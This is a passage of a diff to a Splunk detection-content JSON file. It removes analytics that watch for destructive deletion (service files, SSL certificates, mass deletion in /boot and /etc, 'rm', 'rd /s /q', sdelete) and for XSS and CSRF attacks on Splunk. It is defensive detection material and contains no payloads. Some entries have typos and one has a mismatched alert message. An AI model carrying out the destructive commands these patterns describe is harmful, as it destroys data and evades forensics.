impair system functionality or execute a destructive payload, potentially leading to system instability or data loss. Immediate investigation is required to determine the responsible process and user.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path IN ( \"/etc/systemd/*\", \"*/lib/systemd/*\", \"*/run/systemd/*\") Filesystem.file_path = \"*.service\" by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_services_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A services file $file_name$ deteted on host $dest$ by process GUID - $process_guid$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion of SSL Certificate", - "description": "The following analytic detects the deletion of SSL certificates on a Linux machine. It leverages filesystem event logs to identify when files with extensions .pem or .crt are deleted from the /etc/ssl/certs/ directory. This activity is significant because attackers may delete or modify SSL certificates to disable security features or evade defenses on a compromised system. If confirmed malicious, this behavior could indicate an attempt to disrupt secure communications, evade detection, or execute a destructive payload, potentially leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/etc/ssl/certs/*\" Filesystem.file_path IN (\"*.pem\", \"*.crt\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_ssl_certificate_filter`", - "tags": { - "analytic_story": [ - "AcidRain" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "SSL certificate deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux High Frequency Of File Deletion In Boot Folder", - "description": "The following analytic detects a high frequency of file deletions in the /boot/ folder on Linux systems. It leverages filesystem event logs to identify when 200 or more files are deleted within an hour by the same process. This behavior is significant as it may indicate the presence of wiper malware, such as Industroyer2, which targets critical system directories. If confirmed malicious, this activity could lead to system instability or failure, hindering the boot process and potentially causing a complete system compromise.", - "search": "| tstats `security_content_summariesonly` values(Filesystem.file_name) as deletedFileNames values(Filesystem.file_path) as deletedFilePath dc(Filesystem.file_path) as numOfDelFilePath count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/boot/*\" by _time span=1h Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | where numOfDelFilePath >= 200 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_high_frequency_of_file_deletion_in_boot_folder_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple files detection in /boot/ folder on $dest$ by process GUID - $process_guid$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux High Frequency Of File Deletion In Etc Folder", - "description": "The following analytic detects a high frequency of file deletions in the /etc/ folder on Linux systems. It leverages the Endpoint.Filesystem data model to identify instances where 200 or more files are deleted within an hour, grouped by process name and process ID. This behavior is significant as it may indicate the presence of wiper malware, such as AcidRain, which aims to delete critical system files. If confirmed malicious, this activity could lead to severe system instability, data loss, and potential disruption of services.", - "search": "| tstats `security_content_summariesonly` values(Filesystem.file_name) as deletedFileNames values(Filesystem.file_path) as deletedFilePath dc(Filesystem.file_path) as numOfDelFilePath count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/etc/*\" by _time span=1h Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | where numOfDelFilePath >= 200 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_high_frequency_of_file_deletion_in_etc_folder_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple files delted in /etc/ folder on $dest$ by process GUID - $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Indicator Removal Service File Deletion", - "description": "The following analytic detects the deletion of Linux service unit configuration files by suspicious processes. It leverages Endpoint Detection and Response (EDR) telemetry, focusing on processes executing the 'rm' command targeting '.service' files. This activity is significant as it may indicate malware attempting to disable critical services or security products, a common defense evasion tactic. If confirmed malicious, this behavior could lead to service disruption, security tool incapacitation, or complete system compromise, severely impacting the integrity and availability of the affected Linux host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"rm\" AND Processes.process = \"*rm *\" AND Processes.process = \"*.service\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_indicator_removal_service_file_deletion_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ has a commandline $process$ to delete service configuration file in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Recursive Delete of Directory In Batch CMD", - "description": "The following analytic detects the execution of a batch command designed to recursively delete files or directories, a technique often used by ransomware like Reddot to delete files in the recycle bin and prevent recovery. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific flags for recursive and quiet deletions. This activity is significant as it indicates potential ransomware behavior aimed at data destruction. If confirmed malicious, it could lead to significant data loss and hinder recovery efforts, severely impacting business operations.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` Processes.process=*/c* Processes.process=\"* rd *\" Processes.process=\"*/s*\" Processes.process=\"*/q*\" by Processes.user Processes.process_name Processes.parent_process_name Processes.parent_process Processes.process Processes.process_id Processes.dest |`drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `recursive_delete_of_directory_in_batch_cmd_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Recursive Delete of Directory In Batch CMD by $user$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Sdelete Application Execution", - "description": "The following analytic detects the execution of the sdelete.exe application, a Sysinternals tool often used by adversaries to securely delete files and remove forensic evidence from a targeted host. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. Monitoring this activity is crucial as sdelete.exe is not commonly used in regular operations and its presence may indicate an attempt to cover malicious activities. If confirmed malicious, this could lead to the loss of critical forensic data, hindering incident response and investigation efforts.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_sdelete` by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sdelete_application_execution_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "sdelete process $process_name$ executed in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -644782,948 +433826,7 @@ "Event ID": null, "Event Name": "Network device logs" } - ], - { - "name": "Persistent XSS in RapidDiag through User Interface Views", - "description": "The following analytic identifies potential persistent Cross-Site Scripting (XSS) attacks in Splunk Enterprise 9.0 versions before 9.0.4 through user interface views. It leverages audit logs from the `audit_searches` data source to detect actions involving Base64-encoded images in error messages. This activity is significant because it can allow attackers to inject malicious scripts that execute in the context of other users, leading to unauthorized actions or data exposure. If confirmed malicious, this could result in persistent control over the affected Splunk instance, compromising its integrity and confidentiality.", - "search": "`audit_searches` path=/opt/splunk/etc/users/*/search/local/data/ui/views/* action=* |table user action roles info roles path | dedup user action | `persistent_xss_in_rapiddiag_through_user_interface_views_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A potential XSS attempt has been detected from $user$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk csrf in the ssg kvstore client endpoint", - "description": "The following analytic identifies attempts to exploit a cross-site request forgery (CSRF) vulnerability in the Splunk Secure Gateway (SSG) app's kvstore_client endpoint. It detects GET requests to the vulnerable endpoint using internal index data, focusing on specific URI paths and HTTP methods. This activity is significant because it can allow unauthorized updates to SSG KV store collections, potentially leading to data manipulation or unauthorized access. If confirmed malicious, this could enable attackers to alter critical configurations or exfiltrate sensitive information, compromising the integrity and security of the Splunk environment.", - "search": "`splunkda` uri_path=\"/en-US/splunkd/__raw/services/ssg/kvstore_client\" method=\"GET\" delete_field_value=\"spacebridge_server\" status=\"200\" | table splunk_server status uri delete_field_value method post_data | `splunk_csrf_in_the_ssg_kvstore_client_endpoint_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CSRF exploitation attempt from $splunk_server$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk list all nonstandard admin accounts", - "description": "The following analytic identifies nonstandard Splunk accounts with administrative rights on the instance, excluding the default admin account. It uses REST API calls to retrieve user data and filters for accounts with admin capabilities. This activity is significant as unauthorized admin accounts can indicate potential security breaches or misconfigurations. If confirmed malicious, attackers could leverage these accounts to execute commands, escalate privileges, or persist within the environment, posing a significant risk to the integrity and security of the Splunk instance.", - "search": "| rest splunk_server=local /services/authentication/users |search capabilities=admin* OR imported_capabilities=admin* title!=admin | table title roles capabilities splunk_server | `splunk_list_all_nonstandard_admin_accounts_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential stored XSS attempt from $host$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk Persistent XSS Via URL Validation Bypass W Dashboard", - "description": "The following analytic detects attempts to bypass URL validation in Splunk Enterprise versions below 9.0.4, 8.2.10, and 8.1.13 by targeting the vulnerable bootstrap version 2.3.1. It leverages `splunkd_web` logs, specifically monitoring GET requests to JavaScript files within the vulnerable bootstrap path. This activity is significant as it can allow a low-privileged user to perform path traversal, potentially accessing restricted and confidential information. If confirmed malicious, this could lead to unauthorized data access and compromise of sensitive information, including targeting admin users.", - "search": "`splunkd_web` method=GET uri_path=\"*bootstrap-2.3.1*\" file=\"*.js\" | table _time clientip uri_path file status | `splunk_persistent_xss_via_url_validation_bypass_w_dashboard_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Attempted access to vulnerable bootstrap file by $clientip$", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk Reflected XSS in the templates lists radio", - "description": "The following analytic identifies potential reflected cross-site scripting (XSS) attempts in Splunk versions below 8.1.12, 8.2.9, and 9.0.2. It detects when a query parameter with `output_mode=radio` is used in a URI, leveraging `splunkd_webx` logs with status 200 and non-null URI queries. This activity is significant as it can indicate an attempt to exploit a known vulnerability, potentially allowing attackers to execute arbitrary JavaScript in the context of the user's browser. If confirmed malicious, this could lead to unauthorized actions, data theft, or further compromise of the affected Splunk instance.", - "search": "`splunkd_webx` user=admin status=200 uri=*/lists/entities/x/ui/views* uri_query!=null | stats count earliest(_time) as event_time values(status) as status values(clientip) as clientip by index, sourcetype, _time, host, user, uri | `splunk_reflected_xss_in_the_templates_lists_radio_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential XSS exploitation against radio template by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk Reflected XSS on App Search Table Endpoint", - "description": "The following analytic identifies attempts to exploit a reflected cross-site scripting (XSS) vulnerability on the app search table endpoint in Splunk Enterprise versions below 9.1.1, 9.0.6, and 8.2.12. It detects this activity by analyzing web request logs for specific dataset commands (`makeresults`, `count`, `eval`, `baseSPL`) within the `splunkd_web` index. This activity is significant because successful exploitation can lead to the execution of arbitrary commands on the Splunk platform, potentially compromising the entire instance. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and manipulate data within the Splunk environment.", - "search": "`splunkd_web` (dataset_commands=\"*makeresults*\" AND dataset_commands=\"*count*\" AND dataset_commands=\"*eval*\" AND dataset_commands=\"*baseSPL*\") | stats count min(_time) as firstTime max(_time) as lastTime by clientip status user view root uri_path | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `splunk_reflected_xss_on_app_search_table_endpoint_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible XSS attack against from $user$", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk Stored XSS via Data Model objectName field", - "description": "The following analytic identifies attempts to exploit a stored cross-site scripting (XSS) vulnerability in Splunk Enterprise via the Data Model object name field. It detects this activity by analyzing web access logs (`splunkd_webx`) for specific URI patterns and non-null query parameters. This activity is significant because it allows authenticated users to inject and store malicious scripts, leading to persistent XSS attacks. If confirmed malicious, this could enable attackers to execute arbitrary scripts in the context of other users, potentially leading to data theft, session hijacking, or further compromise of the Splunk environment.", - "search": "`splunkd_webx` uri=/en-US/splunkd/__raw/servicesNS/*/launcher/datamodel/model* uri_query!=null | stats count by _time host status clientip user uri | `splunk_stored_xss_via_data_model_objectname_field_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 